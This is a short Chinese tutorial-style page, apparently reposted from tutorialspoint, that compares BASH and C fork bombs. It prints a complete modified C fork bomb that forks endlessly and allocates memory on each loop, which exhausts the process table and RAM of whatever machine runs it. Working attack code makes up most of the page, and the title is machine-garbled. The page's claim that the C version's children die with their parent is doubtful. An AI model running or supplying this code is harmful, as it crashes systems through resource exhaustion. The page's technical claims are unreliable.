首頁 > 後端開發 > C++ > 在C/C++中,C vs BASH Fork bomb的意思是C語言與BASH語言的分叉炸彈

在C/C++中,C vs BASH Fork bomb的意思是C語言與BASH語言的分叉炸彈

WBOY
發布: 2023-09-14 19:41:02
轉載
1408 人瀏覽過

在C/C++中,C vs BASH Fork bomb的意思是C语言与BASH语言的分叉炸弹

已經明確,BASH fork 炸彈比其 C 程式版本強大得多。主要原因是在 BASH 中建立的進程與父進程分離。如果父進程(我們最初啟動的進程)被銷毀或終止,剩餘的進程將繼續存在。但在 C 實作的情況下,如果父行程被銷毀或終止,列出的子程序會自動終止。腳本負責直接與系統通訊。

C語言的fork炸彈程式可以更新或修改。我們可以在建立 fork 進程時在程式中分配記憶體。

以下程式被視為修改後的 C fork 炸彈的實作 -

// Modified fork bomb
#include <unistd.h>
#include <malloc.h>
int main(){
   // Infinite loop
   while (1){
      // Generating child fork processes
      fork();
      // Allocating memory in RAM
      int *p1 = (int *) malloc (sizeof (int) * 100000);
   }
}
登入後複製

以上是在C/C++中,C vs BASH Fork bomb的意思是C語言與BASH語言的分叉炸彈的詳細內容。更多資訊請關注PHP中文網其他相關文章!

來源:tutorialspoint.com
本網站聲明
本文內容由網友自願投稿,版權歸原作者所有。本站不承擔相應的法律責任。如發現涉嫌抄襲或侵權的內容,請聯絡admin@php.cn
熱門教學
更多>
最新下載
更多>
網站特效
網站源碼
網站素材
前端模板